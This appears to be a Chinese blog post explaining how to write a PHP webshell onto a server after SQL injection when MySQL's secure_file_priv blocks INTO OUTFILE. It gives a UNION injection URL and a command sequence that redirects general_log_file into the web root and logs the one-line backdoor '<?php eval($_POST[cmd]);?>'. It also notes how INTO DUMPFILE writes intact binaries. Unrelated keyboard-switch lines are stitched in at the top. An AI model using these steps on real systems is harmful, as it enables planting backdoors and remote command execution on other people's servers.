sql注入怎么使用linux命令,SQL注入写shell不成功后

8种机械键盘轴体对比

本人程序员，要买一个写代码的键盘，请问红轴和茶轴怎么选？

之前遇到sql注入，且是root权限后，很容易直接写进去shell。现在的Mysql数据库的安全性也高了，即使注入得到mysql的root权限，有时候还是写不进去shell。

SQL 注入写 shellhttp://127.0.0.1:8000/waf/test.php?id=-1' union select 1,2,3 --+

root权限

写一句话的时候，报错。如果能进入phpmyadmin后台，可以试试一个方法。

就是--secure-file-priv的问题。

本地测试。

Mysql导出文件时报错mysql> select host from mysql.user into outfile 'E:\test\1.txt';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti

on so it cannot execute this statement

报错原因:secure_file_priv设置了指定目录，需要在指定目录下进行数据导出。mysql> show variables like '%secure%';

+------------------+-------+

| Variable_name | Value |

+------------------+-------+

| secure_auth | OFF |

| secure_file_priv | NULL |

+------------------+-------+

2 rows in set (0.00 sec)

secure_file_priv 参数为空，表示没有可以导出的目录。这个参数用来限制数据导入和导出操作的效果，例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。

如果这个参数为空，这个变量没有效果；

如果这个参数设为一个目录名，MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在，MySQL服务不会创建它；

如果这个参数为NULL，MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

执行一下命令，在终端是修改不了secure_file_priv的值的。mysql> show variables like '%secure%';

+------------------+-------+

| Variable_name | Value |

+------------------+-------+

| secure_auth | OFF |

| secure_file_priv | NULL |

+------------------+-------+

2 rows in set (0.20 sec)

mysql> set global secure_file_priv = 'D:\phpStudy\www\waf\shell\1.txt';

ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

此时是root权限，into outfile写不了文件。这个时候，如果能登录到phpmyadmin，可以尝试一个方法。

在phpmyadmin后台中，查看全局变量：找到general log file和general log

将general log设置为ON

general log file 设置为shell的物理地址。

再执行一个写一句话的SQL语句。虽然还有报错，但是已经写入进去了。

在D:phpStudywwwwafphpinfo.php中可以看到写入的php代码。

访问。

general_log

Command-Line Format --general-log

System Variable Name general_log

Scope Global

Dynamic Yes

Permitted Values Type boolean

Default OFF

Whether the general query log is enabled. The value can be 0 (or OFF) to disable the log or 1 (or ON) to enable the log. The default value depends on whether the --general_log option is given. The destination for log output is controlled by the log_output system variable; if that value is NONE, no log entries are written even if the log is enabled.

general_log_file

Command-Line Format --general-log-file=file_name

System Variable Name general_log_file

Scope Global

Dynamic Yes

Permitted Values Type file name

Default host_name.log

The name of the general query log file. The default value is host_name.log, but the initial value can be changed with the --general_log_file option.

如果登录不了phpmyadmin后台，试试能登录mysql终端吗？可以试着来执行以下命令。show variables like '%general%'; #查看配置

set global general_log = on; #开启general log模式

set global general_log_file = 'D:\phpStudywww\waf\shell.php'; #设置写入shell路径

select '<?php eval($_POST[cmd]);?>' #写入shell

window环境下在my.ini中设置 secure-file-priv="D:/phpStudy/www/waf" 为数据库的导入和导出路径。

Ubuntu环境下

SELECT的SELECT … INTO形式可以使查询结果存储在变量中或写入文件中。导出数据到文本文件中。SELECT … INTO OUTFILE将选定的行写入文件。可以指定列和行结束符以产生特定的输出格式。

SELECT … INTO DUMPFILE将单行写入文件而不使用任何格式。outfile

区别：mysql> select host from mysql.user into outfile 'D:/phpStudy/www/waf/test.txt';

Query OK, 3 rows affected (0.00 sec)

内容：127.0.0.1

::1

localhostdumpfile

mysql> select host from mysql.user into dumpfile ‘D:/phpStudy/www/waf/test1.txt’

;

ERROR 1172 (42000): Result consisted of more than one row

只能导出一行内容。

若把一个可执行2进制文件用into outfile函数导出，导出后可能会被破坏，因为into outfile函数会在行末写入新行，并且会转义换行符。这样2进制可执行文件会被破坏。这个时候用into dumpfile就能导出一个完整的可执行的2进制文件。

参考